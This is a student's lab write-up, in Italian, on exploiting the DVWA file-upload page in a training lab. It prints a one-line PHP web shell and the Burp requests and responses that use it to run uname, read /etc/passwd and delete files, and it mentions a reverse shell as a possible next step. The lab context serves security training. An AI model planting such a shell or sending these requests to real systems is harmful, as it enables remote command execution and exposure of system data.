

Progetto S6-L1

Studente: Simone Mininni

Obiettivo: exploit DVWA, sezione upload → caricare un programma php che mi permette di utilizzare la shell della macchina su cui gira la web application (DVWA).

Prima di tutto abbiamo scritto un semplice codice della shell php.
file 'shell.php'

```
<? system($_REQUEST["cmd"]); ?>
```

Permette di richiamare i comandi di shell della macchina target direttamente dalla richiesta GET che nel nostro caso gestiremo con Burpsuite...



Carichiamo il file .php e notiamo la directory in cui viene salvato il file.

Successivamente con Burpsuite andremo a richiamare il programma ed eseguire i comandi di bash.



Come si può vedere abbiamo eseguito un comando ls sulla directory corrente e nella risposta troviamo i file contenuti nella directory, tra cui proprio il nostro programma e un immagine .png.

In questo modo possiamo navigare attraverso tutto il file system della macchina della web application potendo fare diverse operazioni come creare, rimuovere, leggere file e directory.

Altri esempi:

cmd=uname -a

Leggiamo alcune info di sistema...

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre>1 GET /dvwa/hackable/uploads/shell.php?cmd=uname+-a HTTP/1.1 2 Host: 192.168.1.146 3 Upgrade-Insecure-Requests: 1 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</pre>				<pre>1 HTTP/1.1 200 OK 2 Date: Mon, 30 Oct 2023 14:52:28 GMT 3 Server: Apache/2.2.8 (Ubuntu) DAV/2 4 X-Powered-By: PHP/5.2.4-2ubuntu5.10 5 Connection: close 6 Content-Type: text/html 7 Content-Length: 89 8 9 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux 10</pre>			

cmd = cat /etc/passwd

Il contenuto del file /etc/passwd determina chi può accedere al sistema legittimamente.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre>1 GET /dvwa/hackable/uploads/shell.php?cmd=cat+/etc/passwd HTTP/1.1 2 Host: 192.168.1.146 3 Upgrade-Insecure-Requests: 1 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 6 Accept-Encoding: gzip, deflate, br 7 Accept-Language: en-US,en;q=0.9 8 Cookie: security=low; PHPSESSID=6d5410c427841f8e394ab6afe35f6bc6 9 Connection: close 10 11</pre>				<pre>1 HTTP/1.1 200 OK 2 Date: Mon, 30 Oct 2023 14:53:47 GMT 3 Server: Apache/2.2.8 (Ubuntu) DAV/2 4 X-Powered-By: PHP/5.2.4-2ubuntu5.10 5 Connection: close 6 Content-Type: text/html 7 Content-Length: 1581 8 9 root:x:0:0:root:/root:/bin/bash 10 daemon:x:1:1:daemon:/usr/sbin:/bin/sh 11 bin:x:2:2:bin:/bin:/bin/sh 12 sys:x:3:3:sys:/dev:/bin/sh 13 sync:x:4:65534:sync:/bin:/bin/sync 14 games:x:5:60:games:/usr/games:/bin/sh 15 man:x:6:12:man:/var/cache/man:/bin/sh 16 lp:x:7:7:lp:/var/spool/lpd:/bin/sh 17 mail:x:8:8:mail:/var/mail:/bin/sh 18 news:x:9:9:news:/var/spool/news:/bin/sh 19 uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh 20 proxy:x:13:13:proxy:/bin:/bin/sh 21 www-data:x:33:33:www-data:/var/www:/bin/sh 22 backup:x:34:34:backup:/var/backups:/bin/sh 23 list:x:38:38:Mail List Manager:/var/list:/bin/sh 24 irc:x:39:39:ircd:/var/run/ircd:/bin/sh 25 gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/bin/sh 26 nobody:x:65534:65534:nobody:/nonexistent:/bin/sh 27 libuuid:x:100:101:./var/lib/libuuid:/bin/sh 28 dhcp:x:101:102:./nonexistent:/bin/false 29 syslog:x:102:103:./home/syslog:/bin/false 30 klogd:x:103:104:./home/klogd:/bin/false 31 sshd:x:104:65534:./var/run/ssh:/usr/sbin/nologin 32 nfsadmin:x:1000:1000:nfsadmin:./home/nfsadmin:/bin/bash 33 bind:x:105:119:./var/cache/bind:/bin/false 34 postfix:x:106:115:./var/spool/postfix:/bin/false 35 ftp:x:107:65534:./home/ftp:/bin/false 36 postgres:x:108:117:PostgreSQL administrator:./var/lib/postgresql:/bin/bash 37 mysql:x:109:118:MySQL Server:./var/lib/mysql:/bin/false 38 tomcat55:x:110:65534:./usr/share/tomcat5.5:/bin/false 39 distccd:x:111:65534:./bin/false 40 user:x:1001:1001:just a user:111:./home/user:/bin/bash 41 service:x:1002:1002:./home/service:/bin/bash 42 telnetd:x:112:120:./nonexistent:/bin/false 43 proftpd:x:113:65534:./var/run/proftpd:/bin/false 44 statd:x:114:65534:./var/lib/nfs:/bin/false 45</pre>			

cmd = rm shell.php

Rimuoviamo un file, in questo caso il nostro shell.php

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1 GET /dvwa/hackable/uploads/shell.php?cmd=rm+shell.php				1 HTTP/1.1 200 OK			
2 HTTP/1.1				2 Date: Mon, 30 Oct 2023 15:12:53 GMT			
3 Host: 192.168.1.146				3 Server: Apache/2.2.8 (Ubuntu) DAV/2			
4 Upgrade-Insecure-Requests: 1				4 X-Powered-By: PHP/5.2.4-2ubuntu5.10			
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)				5 Content-Length: 0			
6 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132				6 Connection: close			
7 Safari/537.36				7 Content-Type: text/html			
8 Accept:				8			
9 text/html,application/xhtml+xml,application/xml;q=0.9,image/				9			
avif,image/webp,image/apng,*/*;q=0.8,application/signed-exch							
ange;v=b3;q=0.7							

Implementazioni future:

Da qui si potrebbe impostare anche una reverse shell per controllare la macchina target direttamente dal nostro dispositivo ed eventualmente effettuare la scalata dei privilegi.

Fine.